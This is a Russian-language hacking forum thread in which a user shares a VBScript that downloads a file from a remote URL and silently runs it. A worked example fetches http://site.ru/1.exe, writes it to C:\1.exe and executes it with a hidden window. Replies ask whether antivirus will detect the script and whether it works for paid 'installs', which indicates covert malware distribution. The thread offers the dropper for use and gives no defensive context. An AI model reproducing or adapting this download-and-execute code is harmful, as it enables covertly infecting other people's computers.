• Начинающий хакер, спасибо что зашёл к нам! Для полного удобства рекомендуем Вам сразу же зарегистрироваться. Помните, необходимо придумать сложный пароль к своему логину, в котором будут присутствовать цифры, а так же символы. После регистрации вы сможете пользоваться чатом. Так же не забудьте активировать аккаунт через письмо, высланное вам на почту ! Администрация заботится о каждом из Вас...
  • Для просмотра разделов из категории Private Informations & Programms необходимо купить

Скрипт на автоматическое скачивание файла и запуска

  • Автор темы Автор темы azat56
  • Дата начала Дата начала
  • Просмотры Просмотры 482
Статус
В этой теме нельзя размещать новые ответы.

azat56

Самый опытный

azat56

Самый опытный
Местный
Местный
Регистрация
25 Май 2017
Сообщения
69
Реакции
21
Скрипт на автоматическое скачивание файла и запуска

Расширение .vbs

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "Ссылка", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "Путь", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "Название файла", 0, false
 

SniwRoof

Пользователь

SniwRoof

Пользователь
Местный
Местный
Регистрация
18 Фев 2017
Сообщения
219
Реакции
5
Он, случайно, не палевный?
 

xweb

Пользователь

xweb

Пользователь
Местный
Местный
Регистрация
14 Авг 2017
Сообщения
28
Реакции
6
под инсталлы канает? он ведь не установит бары, амиго и т.д, а просто запустит файл?
 

chubais46

chubais46

Elite Premium
Elite Premium
Регистрация
12 Фев 2017
Сообщения
1,323
Реакции
108
Можно подробней описание как настроить?
 

azat56

Самый опытный

azat56

Самый опытный
Местный
Местный
Регистрация
25 Май 2017
Сообщения
69
Реакции
21
chubais46 написал(а):
Можно подробней описание как настроить?
Качаешь на сайт файл, а дальше вставляешь в скрипт параметры

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "Ссылка на файл", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "Путь для сохранения", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "Название файла", 0, false

Пример:

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "http://site.ru/1.exe", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "C:\1.exe", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "1.exe", 0, false
 
Последнее редактирование:

chubais46

chubais46

Elite Premium
Elite Premium
Регистрация
12 Фев 2017
Сообщения
1,323
Реакции
108
Т.С. УВАЖУХА!
Я просто сначала что то не догнал про путь к файлу.
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу